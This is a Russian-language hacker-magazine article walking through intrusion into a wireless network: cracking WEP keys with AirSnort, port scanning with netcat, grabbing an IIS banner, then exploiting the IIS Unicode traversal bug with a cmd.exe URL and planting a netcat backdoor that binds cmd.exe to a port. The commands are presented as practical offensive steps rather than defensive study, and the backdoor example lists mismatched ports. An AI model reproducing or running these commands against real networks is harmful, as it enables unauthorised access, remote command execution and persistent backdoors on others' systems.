Хакер не раз писал
о беспроводных сетях
, способах
проникновения и типичных ошибках, которые
можно в них найти. Сегодня предлагаю
несколько практических примеров того, как
можно правильно взаимодействовать с
беспроводной сетью и что полезного можно из
нее извлечь. 

Фаза 1: ключ WEP

Первая задача для хакера - проникнуть в
сеть, защищенную WEP. Для этого используем
утилиту под названием AirSnort,
при помощи которой можно пассивно
мониторить передающиеся по воздуху данные.
Перехватив достаточное количество пакетов
(от 5 до 10 миллионов) можно с легкостью
получить ключ к сети. Стоит отметить, что
все 802.11b сети с 40/128 битным WEP шифрованием
уязвимы, более того, в отличии от
"проводных" локальных сетей действие
снифера не поддается никакому
обнаружению. 

Для работы AirSnort требуется сетевая
карточка, которая:

  • поддерживает режим RF мониторинга
  • может передавать RF-пакеты из режима на
    интерфейс PF_PACKAGE

Это, например, Cisco Aironet, любая Prism-карточка с
wlan-ng драйверами, карты Orinoco с новыми orinoco_cs
драйверами. Кроме того требуется последний libpcap
и gtk+-2.2 and gtk+-devel для работы в графическом
интерфейсе.

Понятно, что только такие карты могут
перехватывать пакеты не будучи точкой
доступа или промежуточной передающей
точкой. Следовательно, только так мы можем
получать пакеты с нужного канала без
участия в их передаче. AirSnort так же позволяет
работать в promiscuous режиме, отличие его в том,
что необходимо зарегистрироваться на точке
доступа и лишь потом перехватывать данные,
то есть работать только в сети, которая, так
сказать, доверяет сниферу. 

Загрузив AirSnort делаем так:

tar -xzf airsnort-0.2.3a.tar.gz 
cd airsnort-0.2.3a 
./autogen.sh
make

Запускаем и видим примерно следующее:

Теперь осталось лишь нажать кнопочку Start и
ждать. Сколько? На этой стадии это главный
вопрос. Может понадобится несколько
пакетов, а может несколько миллионов. В
конце концов программа ключ вычислит и
предоставит в ваше пользование. После этого
вы можете спокойно его использовать для
входа в сеть. 

Другая утилита, при помощи которой можно
проникнуть внутрь сети - WEPCrack.
Действует она аналогично AirSnort, однако в
меньшей степени автоматизирована, так что
после сбора пакетов придется пользовать
скрипт для вычисления WEP ключа. 

Фаза 2: сканирование портов

Следующая традиционная задача -
сканирование портов во вновь обретенной
сети. Это самый простой и эффективный путь
для обнаружения приятных аномалий. Тут, в
общем говоря, все стандартно - тот же NMAP
легко и беспроблемно послужит вам в
открытии чудесных мест в сети. О действиях с
Nmap мы так же не раз писали, так что осбого
труда в его использовании думаю не
возникнет.

Фаза 3: обнаружение и использование
уязвимостей

Заключительный этап после проникновения
в беспроводную сеть и обнаружения открытых
портов - определение приложений, стоящих за
портами, и уязвимостей в них. В Linuxе конечно
существует и ряд утилит для этого.

Первая прога - NetCat,
универсальный "швейцарский нож"
любого сетевика. Одна из главных
возможностей NetCat - посылка специально
созданных TCP/IP пакетов к нужному хосту и
порту и, соответствнно, налюдение за
реакцией хоста. Например, можно создать
пакет с необходимой HTTP информацией к порту
web-сервера для определения его наличия и
платформы. Для сканирования портов NetCat
можно сделать так:

linux:~ # netcat -v -w2 -z 192.168.0.2 1-500
mercury.hasselltech.local
[192.168.0.2] 464 (kpasswd) open
mercury.hasselltech.local [192.168.0.2] 445 (microsoft-ds)
open 
mercury.hasselltech.local [192.168.0.2] 444 (snpp) open 
mercury.hasselltech.local [192.168.0.2] 443 (https) open 
mercury.hasselltech.local [192.168.0.2] 389 (ldap) open 
mercury.hasselltech.local [192.168.0.2] 139 (netbios-ssn) open 
mercury.hasselltech.local [192.168.0.2] 135 (epmap) open 
mercury.hasselltech.local [192.168.0.2] 88 (kerberos) open 
mercury.hasselltech.local [192.168.0.2] 82 (xfer) open 
mercury.hasselltech.local
[192.168.0.2] 80 (http) open 
mercury.hasselltech.local [192.168.0.2] 53 (domain)
open 
mercury.hasselltech.local [192.168.0.2] 42 (name) open 
mercury.hasselltech.local [192.168.0.2] 25 (smtp) open

Из этого списка видим открытый 80 порт.
Определим баннер сервера (не слишком
правильно, но для примера сойдет):

linux:~ # netcat -v -n 192.168.0.2 80
(UNKNOWN) [192.168.0.2] 80 (?) open
GET HTTP
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.0
Date: Tue, 01 Jun 2004 22:56:11 GMT
Content-Type: text/html
Content-Length: 87
Connection: close
Content-Length: 34
Error The
parameter?

Баннер показывает вероятное наличие Windows
2000 и IIS 5.0, следовательно можно попробовать
заюзать эксплоит для этой ОС и сервера,
например мало уже распространенный юникод:

http://192.168.1.90/scripts/ ..%255c../winnt/system32/
cmd.exe?/c+dir+c:

NetCat так же можно закинуть как бекдор,
поставив слушать на определенном порту.
Например на удаленной машине:

nc -L -p 7896 -d -e cmd.exe

а на локальной

nc -v -n 192.168.0.2 7890

Если вас интересует исключительно web-сервера,
то можно использовать тулзу Whisker,
которая специально под это заточена. На
обнаруженной в примере машине Whisker может
попробовать использовать атаки
переполнения буфера, тест FrontPage extensions,
подбор пароля админа IIS и баг с Unicode URL.

Оригинал
статьи

Check Also

Туннель во времени. Выводим данные с компьютера через Network Time Protocol

Содержание статьиЧто такое NTPСтруктура пакета NTPОграничения на трафик по порту UDP-123Ко…

Оставить мнение